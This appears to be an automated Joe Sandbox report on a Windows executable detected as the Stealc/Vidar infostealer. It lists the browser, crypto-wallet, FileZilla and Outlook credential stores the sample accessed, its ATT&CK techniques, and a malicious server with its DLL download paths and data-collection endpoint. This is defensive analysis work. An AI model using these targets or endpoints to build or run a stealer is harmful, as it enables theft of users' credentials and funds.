Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2365609973.0000000001449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.v

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2365609973.0000000001465000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2365609973.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 764, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.5e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2089686437.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2365609973.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 764, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 764, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	335 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	53%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://185.215.113.37/e2b1563c6670f193.php3	100%	URL Reputation	malware
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2205400256.00000000014A9000.00000004.00000020.00020000.00000000.sdmp, GCBGCGHD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dllt	file.exe, 00000000.00000002.2365609973.0000000001449000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2205400256.00000000014A9000.00000004.00000020.00020000.00000000.sdmp, GCBGCGHD.0.dr	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	BKFBAECBAEGDGDHIEHIJ.0.dr	false		unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dllH	file.exe, 00000000.00000002.2365609973.0000000001449000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2386656748.00000000297CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2365609973.000000000147F000.00000004.00000020.00020000.00000000.sdmp, BKFBAECBAEGDGDHIEHIJ.0.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2205400256.00000000014A9000.00000004.00000020.00020000.00000000.sdmp, GCBGCGHD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37	file.exe, 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2365609973.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpq	file.exe, 00000000.00000002.2365609973.000000000147F000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpHAR)	file.exe, 00000000.00000002.2365609973.000000000147F000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37e2b1563c6670f193.phption:	file.exe, 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2205400256.00000000014A9000.00000004.00000020.00020000.00000000.sdmp, GCBGCGHD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37R	file.exe, 00000000.00000002.2365609973.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpb	file.exe, 00000000.00000002.2365609973.0000000001433000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phption:	file.exe, 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dlll	file.exe, 00000000.00000002.2365609973.0000000001449000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/s	file.exe, 00000000.00000002.2365609973.0000000001449000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpf	file.exe, 00000000.00000002.2365609973.000000000147F000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2380999461.000000001D6F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2392021959.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php5.c	file.exe, 00000000.00000002.2365609973.000000000147F000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpN	file.exe, 00000000.00000002.2365609973.0000000001449000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpR	file.exe, 00000000.00000002.2365609973.0000000001449000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll3	file.exe, 00000000.00000002.2365609973.0000000001449000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2205400256.00000000014A9000.00000004.00000020.00020000.00000000.sdmp, GCBGCGHD.0.dr	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2205400256.00000000014A9000.00000004.00000020.00020000.00000000.sdmp, GCBGCGHD.0.dr	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2205400256.00000000014A9000.00000004.00000020.00020000.00000000.sdmp, GCBGCGHD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpE	file.exe, 00000000.00000002.2365609973.0000000001449000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000002.2386656748.00000000297CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2365609973.000000000147F000.00000004.00000020.00020000.00000000.sdmp, BKFBAECBAEGDGDHIEHIJ.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	FIJJKECFCFBGDHIECAAFIIDAKK.0.dr	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2205400256.00000000014A9000.00000004.00000020.00020000.00000000.sdmp, GCBGCGHD.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000002.2386656748.00000000297CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2365609973.000000000147F000.00000004.00000020.00020000.00000000.sdmp, BKFBAECBAEGDGDHIEHIJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php6	file.exe, 00000000.00000002.2365609973.0000000001449000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2386656748.00000000297CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2365609973.000000000147F000.00000004.00000020.00020000.00000000.sdmp, BKFBAECBAEGDGDHIEHIJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php3	file.exe, 00000000.00000002.2365609973.000000000147F000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	FIJJKECFCFBGDHIECAAFIIDAKK.0.dr	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2386656748.00000000297CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2365609973.000000000147F000.00000004.00000020.00020000.00000000.sdmp, BKFBAECBAEGDGDHIEHIJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpwser	file.exe, 00000000.00000002.2365609973.0000000001465000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2386656748.00000000297CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2365609973.000000000147F000.00000004.00000020.00020000.00000000.sdmp, BKFBAECBAEGDGDHIEHIJ.0.dr	false		unknown
https://support.mozilla.org	FIJJKECFCFBGDHIECAAFIIDAKK.0.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2205400256.00000000014A9000.00000004.00000020.00020000.00000000.sdmp, GCBGCGHD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dlld	file.exe, 00000000.00000002.2365609973.0000000001449000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1540723
Start date and time:	2024-10-24 02:49:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/23@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 79 Number of non-executed functions: 115
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	xxJfSec58P.exe	Get hash	malicious	Vidar	Browse
	UMrFwHyjUi.exe	Get hash	malicious	Vidar	Browse
	b157p9L0c1.exe	Get hash	malicious	Vidar	Browse
	PFlJLzFUqH.exe	Get hash	malicious	Vidar	Browse
	46QSz6qyKC.exe	Get hash	malicious	Vidar	Browse

Created / dropped Files

C:\ProgramData\AAKJEGCF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
